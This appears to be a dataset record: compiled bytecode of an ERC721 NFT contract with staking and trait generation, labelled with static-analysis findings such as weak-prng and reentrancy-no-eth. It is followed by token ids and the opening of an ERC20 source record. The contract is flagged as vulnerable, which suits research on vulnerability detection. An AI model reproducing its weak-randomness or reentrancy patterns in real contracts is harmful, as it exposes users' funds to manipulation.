00c2dadeeadce840daeae6e8407840dac2f607b1b6044820152606401610c46565b6115b36125198583615ca6565b11156125535760405162461bcd60e51b8152602060048201526009602482015268736f6c64206f75742160b81b6044820152606401610c46565b61255b612143565b6001600160a01b0316336001600160a01b0316146125a3576125848466b1a2bc2ec50000615d19565b3410156125a35760405162461bcd60e51b8152600401610c4690615a9a565b60015b8481116125c8576125b633614096565b806125c081615e4d565b9150506125a6565b505080416040516020016125dd92919061592e565b60408051601f19818403018152919052805160209091012061013455505050565b33612607612143565b6001600160a01b03161461262d5760405162461bcd60e51b8152600401610c4690615b55565b6126378282614812565b5050565b6001600160a01b0382163314156126905760405162461bcd60e51b815260206004820152601960248201527822a9219b99189d1030b8383937bb32903a379031b0b63632b960391b6044820152606401610c46565b336000818152606a602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008281526101366020526040808220815160808101909252805483929190829060ff16600181111561273f57634e487b7160e01b600052602160045260246000fd5b600181111561275e57634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03166020830152600160a81b810465ffffffffffff166040830152600160d81b900464ffffffffff1660609091015290506127a88361482c565b64ffffffffff16816060015164ffffffffff16426127c69190615d67565b11949350505050565b336127d8612143565b6001600160a01b0316146127fe5760405162461bcd60e51b8152600401610c4690615b55565b61012e80549115156101000261ff0019909216919091179055565b33803b9032811461283c5760405162461bcd60e51b8152600401610c4690615b34565b811561285a5760405162461bcd60e51b8152600401610c4690615b34565b60005b838110156118bd5761289485858381811061288857634e487b7160e01b600052603260045260246000fd5b90506020020135612fcf565b8061289e81615e4d565b91505061285d565b6128b033836139a6565b6128cc5760405162461bcd60e51b8152600401610c4690615b8a565b6128d88484848461484b565b50505050565b600081815261013560209081526040808320815160e081018352905460ff80821683526101008204811683860152620100008204811683850152630100000082048116606084810191909152600160201b83048216608080860191909152600160281b8404831660a0860152600160301b909304821660c0850152878752610136909552838620845192830190945283549495929492939192839116600181111561299957634e487b7160e01b600052602160045260246000fd5b60018111156129b857634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03166020830152600160a81b810465ffffffffffff166040830152600160d81b900464ffffffffff1660609091015290506000612a04856122aa565b610133548451602086015160408701516060880151608089015160a08a015160c08b01519798506001600160a01b0390961696635d7d0289968d96959493929160018c516001811115612a6757634e487b7160e01b600052602160045260246000fd5b6040516001600160e01b031960e08d901b16815261ffff909a1660048b015260ff98891660248b015296881660448a01529487166064890152928616608488015290851660a4870152841660c4860152831660e48501521461010483015284166101248201526101440160006040518083038186803b158015612ae957600080fd5b505afa158015612afd573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612b259190810190615729565b95945050505050565b33612b37612143565b6001600160a01b031614612b5d5760405162461bcd60e51b8152600401610c4690615b55565b61012f80546001600160581b0319166001600160581b0392909216919091179055565b6001600160a01b039182166000908152606a6020908152604080832093909416825291909152205460ff1690565b33612bb7612143565b6001600160a01b031614612bdd5760405162461bcd60e51b8152600401610c4690615b55565b600061013560008a81526020019081526020016000206040518060e00160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460ff1660ff1660ff1681526020016000820160029054906101000a900460ff1660ff1660ff1681526020016000820160039054906101000a900460ff1660ff1660ff1681526020016000820160049054906101000a900460ff1660ff1660ff1681526020016000820160059054906101000a900460ff1660ff1660ff1681526020016000820160069054906101000a900460ff1660ff1660ff16815250509050878160c0019060ff16908160ff168152505086816000019060ff16908160ff168152505085816040019060ff16908160ff168152505084816080019060ff16908160ff1681525050838160a0019060ff16908160ff168152505082816060019060ff16908160ff168152505081816020019060ff16908160ff16815250508061013560008b815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548160ff021916908360ff16021790555060a08201518160000160056101000a81548160ff021916908360ff16021790555060c08201518160000160066101000a81548160ff021916908360ff160217905550905050612e5189613924565b505050505050505050565b33612e65612143565b6001600160a01b031614612e8b5760405162461bcd60e51b8152600401610c4690615b55565b6001600160a01b038116612ef05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c46565b6120ad81614590565b60006001600160e01b0319821663780e9d6360e01b1480610b465750610b468261487e565b6000908152606760205260409020546001600160a01b0316151590565b600081815260696020526040902080546001600160a01b0319166001600160a01b0384169081179091558190612f7082611d22565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081612fb857506000919050565b6005612fc5600184615d67565b610b469190615d05565b600081815261013660205260408082208151608081019092528054829060ff16600181111561300e57634e487b7160e01b600052602160045260246000fd5b600181111561302d57634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03166020830152600160a81b810465ffffffffffff166040830152600160d81b900464ffffffffff16606090910152905060008151600181111561309157634e487b7160e01b600052602160045260246000fd5b14156130c2576130a082611d22565b6001600160a01b0316336001600160a01b0316146130bd57600080fd5b61310d565b6001815160018111156130e557634e487b7160e01b600052602160045260246000fd5b141561310d5780602001516001600160a01b0316336001600160a01b03161461310d57600080fd5b600061311883612152565b90508061312457505050565b610132546001600160a01b03166340c10f193361314086612152565b6040518363ffffffff1660e01b815260040161315d9291906159a1565b600060405180830381600087803b15801561317757600080fd5b505af115801561318b573d6000803e3d6000fd5b505050600093845250506101366020525060409020805465ffffffffffff60a81b1916600160a81b4265ffffffffffff1602179055565b60008086156131d957806131d581615e68565b9150505b85156131ed57806131e981615e68565b9150505b841561320157806131fd81615e68565b9150505b8315613215578061321181615e68565b9150505b8215613229578061322581615e68565b9150505b60ff8881166000908152610137602052604090205461324e9183169061ffff16615d19565b61326090670de0b6b3a7640000615d19565b98975050505050505050565b6000806132776148ce565b905060006132a58285600681111561329f57634e487b7160e01b600052602160045260246000fd5b88614916565b60ff80871660009081526101376020908152604091829020825160e081018452905461ffff80821683526201000082048116938301849052600160201b820490951693820193909352600160281b830484166060820152600160381b830484166080820152600160481b8304841660a0820152600160581b90920490921660c08201529192506133645760405162461bcd60e51b815260206004820152600a602482015269706f6f6c20656d70747960b01b6044820152606401610c46565b6000806133718484614955565b60008b815261013560209081526040808320815160e081018352905460ff808216835261010082048116948301949094526201000081048416928201929092526301000000820483166060820152600160201b820483166080820152600160281b8204831660a0820152600160301b90910490911660c082015292945090925088600681111561341157634e487b7160e01b600052602160045260246000fd5b14156134255760ff831660c0820152613630565b600188600681111561344757634e487b7160e01b600052602160045260246000fd5b14156134585760ff83168152613630565b600288600681111561347a57634e487b7160e01b600052602160045260246000fd5b14156135c85760ff831660408201819052601f11156135c357600060036134bf88604051806040016040528060048152602001636579657360e01b8152506000614bb9565b6134c99190615e88565b9050600060036134f789604051806040016040528060048152602001636579657360e01b8152506000614bb9565b6135019190615e88565b61350c906003615ca6565b60ff80871660009081526101396020526040902080549293509190841690811061354657634e487b7160e01b600052603260045260246000fd5b60009182526020808320818304015460ff601f9093166101000a90048216608087015287821683526101399052604090912080549091831690811061359b57634e487b7160e01b600052603260045260246000fd5b60009182526020918290209181049091015460ff601f9092166101000a90041660a084015250505b613630565b60058860068111156135ea57634e487b7160e01b600052602160045260246000fd5b14156135fe5760ff83166060820152613630565b600688600681111561362057634e487b7160e01b600052602160045260246000fd5b14156136305760ff831660208201525b60008a815261013560209081526040918290208351815492850151938501516060860151608087015160a088015160c089015160ff95861661ffff1990981697909717610100988616989098029790971763ffff00001916620100009385169390930263ff0000001916929092176301000000918416919091021761ffff60201b1916600160201b9183169190910260ff60281b191617600160281b948216949094029390931760ff60301b1916600160301b928416929092029190911790556002908a16106137ce5760ff808a16600090815261013760209081526040918290208551815492870151938701516060880151608089015160a08a015160c08b015161ffff908116600160581b0261ffff60581b19928216600160481b0261ffff60481b19948316600160381b029490941663ffffffff60381b19958316600160281b0261ffff60281b1997909c16600160201b029690961662ffffff60201b199a8316620100000263ffffffff19909a16929097169190911797909717979097169390931796909617959095169490941793909317919091161790555b509098975050505050505050565b600660009081526101376020527fe61ba6d5276b1f0e4decff92b6d57a453a7d0d5c2a55a75aaf612a522da84e675461382190600160381b900461ffff166001615cbe565b61382c90601e615cbe565b600083815261013560208181526040808420815160e081018352815460ff600160201b808304821660808501908152600160281b808504841660a087019081529b841660c0870181815281885298870181815260608801828152888c019283529f909c52999098529351975198519b5193519951955197821661ffff1990931692909217610100988216989098029790971763ffff00001916620100009a88169a909a0263ff0000001916999099176301000000918716919091021761ffff60201b191695851690970260ff60281b191694909417938316029290921760ff60301b1916600160301b92909116919091021790915550565b600081815261013560205260409081902090516001620f4f8b60e31b031981526004810191909152610138602482015273cbab1c973500112c389790a9f0c4c42071ffb4bb9063ff8583a89060440160006040518083038186803b15801561398b57600080fd5b505af415801561399f573d6000803e3d6000fd5b5050505050565b60006139b182612f1e565b613a125760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610c46565b6000613a1d83611d22565b9050806001600160a01b0316846001600160a01b03161480613a585750836001600160a01b0316613a4d84610bde565b6001600160a01b0316145b8061229357506122938185612b80565b826001600160a01b0316613a7b82611d22565b6001600160a01b031614613ae35760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610c46565b6001600160a01b038216613b455760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610c46565b613b50838383614bd0565b613b5b600082612f3b565b6001600160a01b0383166000908152606860205260408120805460019290613b84908490615d67565b90915550506001600160a01b0382166000908152606860205260408120805460019290613bb2908490615ca6565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b038681169182179092559151849391871691600080516020615ef583398151915291a4505050565b60c95460ff16613c4a5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610c46565b60c9805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613c849190615950565b60405180910390a1565b600081815261013660205260408082208151608081019092528054829060ff166001811115613ccd57634e487b7160e01b600052602160045260246000fd5b6001811115613cec57634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03166020830152600160a81b810465ffffffffffff166040830152600160d81b900464ffffffffff166060909101529050600181516001811115613d5057634e487b7160e01b600052602160045260246000fd5b1415613d8f5760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481cdd185ad95960921b6044820152606401610c46565b613d9882611d22565b6001600160a01b0316336001600160a01b031614613de45760405162461bcd60e51b81526020600482015260096024820152686e6f7420796f75727360b81b6044820152606401610c46565b613def333084613a68565b60408051608081019091528060015b81523360208083019190915265ffffffffffff421660408084019190915260608581015164ffffffffff1693019290925260008581526101369091522081518154829060ff191660018381811115613e6657634e487b7160e01b600052602160045260246000fd5b021790555060208201518154604084015160609094015164ffffffffff16600160d81b026001600160d81b0365ffffffffffff909516600160a81b0265ffffffffffff60a81b196001600160a01b039094166101000293909316610100600160d81b03199092169190911791909117929092169190911790555050565b600081815261013660205260408082208151608081019092528054829060ff166001811115613f2257634e487b7160e01b600052602160045260246000fd5b6001811115613f4157634e487b7160e01b600052602160045260246000fd5b8152905461010081046001600160a01b03166020830152600160a81b810465ffffffffffff166040830152600160d81b900464ffffffffff166060909101529050600081516001811115613fa557634e487b7160e01b600052602160045260246000fd5b1415613fe65760405162461bcd60e51b815260206004820152601060248201526f185b1c9958591e481d5b9cdd185ad95960821b6044820152606401610c46565b6000828152610136602052604090205461010090046001600160a01b0316331461400f57600080fd5b61401a303384613a68565b61402382612fcf565b6040805160808101909152806000613dfe565b6000818360405160200161406192919091825260601b6001600160601b031916602082015260340190565b60405160208183030381529060405280519060200120905092915050565b600061408f826101305485614bfe565b9392505050565b6140a561012d80546001019055565b60006140b161012d5490565b90506001806000808080806003816140c76148ce565b6000805261013760209081526040805160e0810182527f9656a38e5b8bf16175eb4bca28ffa04d5646d4e9da9a5df333165c7cb8a8693f5461ffff8082168352620100008204811683860152600160201b820460ff1683850152600160281b820481166060840152600160381b820481166080840152600160481b8204811660a0840152600160581b9091041660c082015281518083019092526004825263626f647960e01b928201929092529192509061418e906141889084908e614bb9565b82614955565b80925081995050506141c161418883604051806040016040528060058152602001641cda195b1b60da1b8152508e614bb9565b80925081965050506141f461418883604051806040016040528060058152602001641d1c985a5b60da1b8152508e614bb9565b809250819550505061013960008960ff1660ff1681526020019081526020016000208360ff1661424184604051806040016040528060048152602001636579657360e01b8152508f614bb9565b61424b9190615e88565b8154811061426957634e487b7160e01b600052603260045260246000fd5b90600052602060002090602091828204019190069054906101000a900460ff16965061013960008960ff1660ff1681526020019081526020016000208360ff166142d184604051806040016040528060058152602001640dadeeae8d60db1b8152508f614bb9565b6142db9190615e88565b6142e6906003615ca6565b8154811061430457634e487b7160e01b600052603260045260246000fd5b90600052602060002090602091828204019190069054906101000a900460ff1695506143308c8c614cbb565b6040518060e001604052808a60ff1681526020018560ff1681526020018960ff1681526020018660ff1681526020018860ff1681526020018760ff1681526020018b60ff1681525061013560008d815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548160ff021916908360ff16021790555060a08201518160000160056101000a81548160ff021916908360ff16021790555060c08201518160000160066101000a81548160ff021916908360ff1602179055509050506040518060800160405280600060018111156144a257634e487b7160e01b600052602160045260246000fd5b81526001600160a01b038e1660208083019190915265ffffffffffff4216604080840191909152600060609093018390528e8352610136909152902081518154829060ff19166001838181111561450957634e487b7160e01b600052602160045260246000fd5b021790555060208201518154604084015160609094015164ffffffffff16600160d81b026001600160d81b0365ffffffffffff909516600160a81b0265ffffffffffff60a81b196001600160a01b039094166101000293909316610100600160d81b0319909216919091179190911792909216919091179055505050505050505050505050565b60fb80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff16806145fb575060005460ff16155b6146175760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff16158015614639576000805461ffff19166101011790555b614641614de7565b614649614de7565b6146538383614e51565b8015610d77576000805461ff0019169055505050565b600054610100900460ff1680614682575060005460ff16155b61469e5760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff161580156146c0576000805461ffff19166101011790555b6146c8614de7565b6146d0614de7565b6146d8614de7565b80156120ad576000805461ff001916905550565b600054610100900460ff1680614705575060005460ff16155b6147215760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff16158015614743576000805461ffff19166101011790555b61474b614de7565b6146d8614ee6565b600054610100900460ff168061476c575060005460ff16155b6147885760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff161580156147aa576000805461ffff19166101011790555b6147b2614de7565b6146d8614f5b565b60c95460ff16156147dd5760405162461bcd60e51b8152600401610c4690615abc565b60c9805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613c773390565b612637828260405180602001604052806000815250614fbb565b61012e5460009060ff1661484257506000919050565b50617080919050565b614856848484613a68565b61486284848484614fee565b6128d85760405162461bcd60e51b8152600401610c4690615a48565b60006001600160e01b031982166380ac58cd60e01b14806148af57506001600160e01b03198216635b5e139f60e01b145b80610b4657506301ffc9a760e01b6001600160e01b0319831614610b46565b61013454604080513360601b6001600160601b031916602080830191909152426034830152605480830194909452825180830390940184526074909101909152815191012090565b6040805160208101859052908101839052606081018290526000906080015b60408051601f198184030181529190528051602090910120949350505050565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081018290526000836020015161ffff16856149a39190615e88565b6020850180519192506149b582615df4565b61ffff1690525060a084015160808501516060860151600092916149d891615c80565b6149e29190615c80565b61ffff1682101580156149fd575060008560c0015161ffff16115b15614a6057600585604001516003614a159190615cbe565b60ff16614a229190615d19565b614a2d600584615e88565b614a38906001615ca6565b614a429190615ca6565b60c086018051919250614a5482615df4565b61ffff16905250614bab565b84608001518560600151614a749190615c80565b61ffff168210158015614a8f575060008560a0015161ffff16115b15614ae657600585604001516002614aa79190615cbe565b60ff16614ab49190615d19565b614abf600584615e88565b614aca906001615ca6565b614ad49190615ca6565b60a086018051919250614a5482615df4565b846060015161ffff168210158015614b0657506000856080015161ffff16115b15614b5d57600585604001516001614b1e9190615cbe565b60ff16614b2b9190615d19565b614b36600584615e88565b614b41906001615ca6565b614b4b9190615ca6565b608086018051919250614a5482615df4565b6005856040015160ff16614b719190615d19565b614b7c600584615e88565b614b87906001615ca6565b614b919190615ca6565b606086018051919250614ba382615df4565b61ffff169052505b9250839150505b9250929050565b600083838360405160200161493593929190615c00565b60c95460ff1615614bf35760405162461bcd60e51b8152600401610c4690615abc565b610d778383836150fb565b600081815b8551811015614cb0576000868281518110614c2e57634e487b7160e01b600052603260045260246000fd5b60200260200101519050808311614c70576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250614c9d565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080614ca881615e4d565b915050614c03565b509092149392505050565b6001600160a01b038216614d115760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610c46565b614d1a81612f1e565b15614d665760405162461bcd60e51b815260206004820152601c60248201527b115490cdcc8c4e881d1bdad95b88185b1c9958591e481b5a5b9d195960221b6044820152606401610c46565b614d7260008383614bd0565b6001600160a01b0382166000908152606860205260408120805460019290614d9b908490615ca6565b909155505060008181526067602052604080822080546001600160a01b0319166001600160a01b0386169081179091559051839290600080516020615ef5833981519152908290a45050565b600054610100900460ff1680614e00575060005460ff16155b614e1c5760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff161580156146d8576000805461ffff191661010117905580156120ad576000805461ff001916905550565b600054610100900460ff1680614e6a575060005460ff16155b614e865760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff16158015614ea8576000805461ffff19166101011790555b8251614ebb906065906020860190615396565b508151614ecf906066906020850190615396565b508015610d77576000805461ff0019169055505050565b600054610100900460ff1680614eff575060005460ff16155b614f1b5760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff16158015614f3d576000805461ffff19166101011790555b60c9805460ff1916905580156120ad576000805461ff001916905550565b600054610100900460ff1680614f74575060005460ff16155b614f905760405162461bcd60e51b8152600401610c4690615ae6565b600054610100900460ff16158015614fb2576000805461ffff19166101011790555b6146d833614590565b614fc58383614cbb565b614fd26000848484614fee565b610d775760405162461bcd60e51b8152600401610c4690615a48565b60006001600160a01b0384163b156150f057604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290615032903390899088908890600401615964565b602060405180830381600087803b15801561504c57600080fd5b505af192505050801561507c575060408051601f3d908101601f191682019092526150799181019061570d565b60015b6150d6573d8080156150aa576040519150601f19603f3d011682016040523d82523d6000602084013e6150af565b606091505b5080516150ce5760405162461bcd60e51b8152600401610c4690615a48565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050612293565b506001949350505050565b6001600160a01b0383166151565761515181609980546000838152609a60205260408120829055600182018355919091527f72a152ddfb8e864297c917af52ea6c1c68aead0fee1a62673fcc7e0c94979d000155565b615179565b816001600160a01b0316836001600160a01b0316146151795761517983826151b3565b6001600160a01b03821661519057610d7781615250565b826001600160a01b0316826001600160a01b031614610d7757610d778282615329565b600060016151c084611deb565b6151ca9190615d67565b60008381526098602052604090205490915080821461521d576001600160a01b03841660009081526097602090815260408083208584528252808320548484528184208190558352609890915290208190555b5060009182526098602090815260408084208490556001600160a01b039094168352609781528383209183525290812055565b60995460009061526290600190615d67565b6000838152609a60205260408120546099805493945090928490811061529857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080609983815481106152c757634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152609a9091526040808220849055858252812055609980548061530d57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061533483611deb565b6001600160a01b039093166000908152609760209081526040808320868452825280832085905593825260989052919091209190915550565b604080516080810190915280600081526000602082018190526040820181905260609091015290565b8280546153a290615e12565b90600052602060002090601f0160209004810192826153c4576000855561540a565b82601f106153dd57805160ff191683800117855561540a565b8280016001018555821561540a579182015b8281111561540a5782518255916020019190600101906153ef565b5061541692915061541a565b5090565b5b80821115615416576000815560010161541b565b80356001600160a01b038116811461544657600080fd5b919050565b60008083601f84011261545c578081fd5b5081356001600160401b03811115615472578182fd5b6020830191508360208260051b8501011115614bb257600080fd5b8035801515811461544657600080fd5b803560ff8116811461544657600080fd5b6000602082840312156154bf578081fd5b61408f8261542f565b600080604083850312156154da578081fd5b6154e38361542f565b91506154f16020840161542f565b90509250929050565b60008060006060848603121561550e578081fd5b6155178461542f565b92506155256020850161542f565b9150604084013590509250925092565b6000806000806080858703121561554a578081fd5b6155538561542f565b93506155616020860161542f565b92506040850135915060608501356001600160401b03811115615582578182fd5b8501601f81018713615592578182fd5b80356155a56155a082615c59565b615c29565b8181528860208385010111156155b9578384fd5b81602084016020830137908101602001929092525092959194509250565b600080604083850312156155e9578182fd5b6155f28361542f565b91506154f16020840161548d565b60008060408385031215615612578182fd5b61561b8361542f565b946020939093013593505050565b6000806000806060858703121561563e578384fd5b6156478561542f565b93506020850135925060408501356001600160401b03811115615668578283fd5b6156748782880161544b565b95989497509550505050565b60008060208385031215615692578182fd5b82356001600160401b038111156156a7578283fd5b6156b38582860161544b565b90969095509350505050565b6000602082840312156156d0578081fd5b61408f8261548d565b6000602082840312156156ea578081fd5b5035919050565b600060208284031215615702578081fd5b813561408f81615ede565b60006020828403121561571e578081fd5b815161408f81615ede565b60006020828403121561573a578081fd5b81516001600160401b0381111561574f578182fd5b8201601f8101841361575f578182fd5b805161576d6155a082615c59565b818152856020838501011115615781578384fd5b612b25826020830160208601615dc8565b600080604083850312156157a4578182fd5b823591506154f16020840161549d565b600080600080600080600060e0888a0312156157ce578485fd5b873596506157de6020890161549d565b95506157ec6040890161548d565b94506157fa6060890161548d565b93506158086080890161548d565b925061581660a0890161548d565b915061582460c0890161548d565b905092959891949750929550565b600080600080600080600080610100898b03121561584e578182fd5b8835975061585e60208a0161549d565b965061586c60408a0161549d565b955061587a60608a0161549d565b945061588860808a0161549d565b935061589660a08a0161549d565b92506158a460c08a0161549d565b91506158b260e08a0161549d565b90509295985092959890939650565b6000602082840312156158d2578081fd5b61408f8261549d565b6000602082840312156158ec578081fd5b81356001600160581b038116811461408f578182fd5b6000815180845261591a816020860160208601615dc8565b601f01601f19169290920160200192915050565b6001600160601b0319606093841b811682529190921b16601482015260280190565b6001600160a01b0391909116815260200190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061599790830184615902565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b60808101600286106159dc57634e487b7160e01b600052602160045260246000fd5b9481526001600160a01b0393909316602084015265ffffffffffff91909116604083015264ffffffffff1660609091015290565b60208152600061408f6020830184615902565b6020808252600b908201526a1b5a5b9d081b1bd8dad95960aa1b604082015260600190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252600890820152676e6f2066756e647360c01b604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526007908201526631b432b0ba32b960c91b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252600b908201526a19d85b59481c185d5cd95960aa1b604082015260600190565b838152606060208201526000615c196060830185615902565b9050826040830152949350505050565b604051601f8201601f191681016001600160401b0381118282101715615c5157615c51615ec8565b604052919050565b60006001600160401b03821115615c7257615c72615ec8565b50601f01601f191660200190565b600061ffff808316818516808303821115615c9d57615c9d615e9c565b01949350505050565b60008219821115615cb957615cb9615e9c565b500190565b600060ff821660ff84168060ff03821115615cdb57615cdb615e9c565b019392505050565b60006001600160581b03828116848216808303821115615c9d57615c9d615e9c565b600082615d1457615d14615eb2565b500490565b6000816000190483118215151615615d3357615d33615e9c565b500290565b60006001600160581b0382811684821681151582840482111615615d5e57615d5e615e9c565b02949350505050565b600082821015615d7957615d79615e9c565b500390565b600065ffffffffffff83811690831681811015615d9d57615d9d615e9c565b039392505050565b600060ff821660ff841680821015615dbf57615dbf615e9c565b90039392505050565b60005b83811015615de3578181015183820152602001615dcb565b838111156128d85750506000910152565b600061ffff821680615e0857615e08615e9c565b6000190192915050565b600181811c90821680615e2657607f821691505b60208210811415615e4757634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415615e6157615e61615e9c565b5060010190565b600060ff821660ff811415615e7f57615e7f615e9c565b60010192915050565b600082615e9757615e97615eb2565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146120ad57600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122028c344260942ef8bfab252b3aea5f5d5260ec44c7bbe19fd8584e0303bd83fa464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2683,
5243,
2278,
2549,
2063,
16147,
2094,
2692,
2575,
22907,
2620,
16068,
2497,
16048,
2575,
22394,
2692,
2497,
2620,
2509,
2546,
2683,
2278,
2683,
21486,
2050,
2683,
2063,
2620,
2620,
1013,
1013,
4216,
16379,
2007,
2524,
12707,
1058,
2475,
1012,
1020,
1012,
1019,
16770,
1024,
1013,
1013,
2524,
12707,
1012,
8917,
1013,
1013,
5371,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
12146,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
6279,
24170,
3085,
1012,
14017,
1030,
1058,
2549,
1012,
1017,
1012,
1016,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,483 | 0x953a39e0b5e92c05ee40d7d787a427855aab3a6c | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
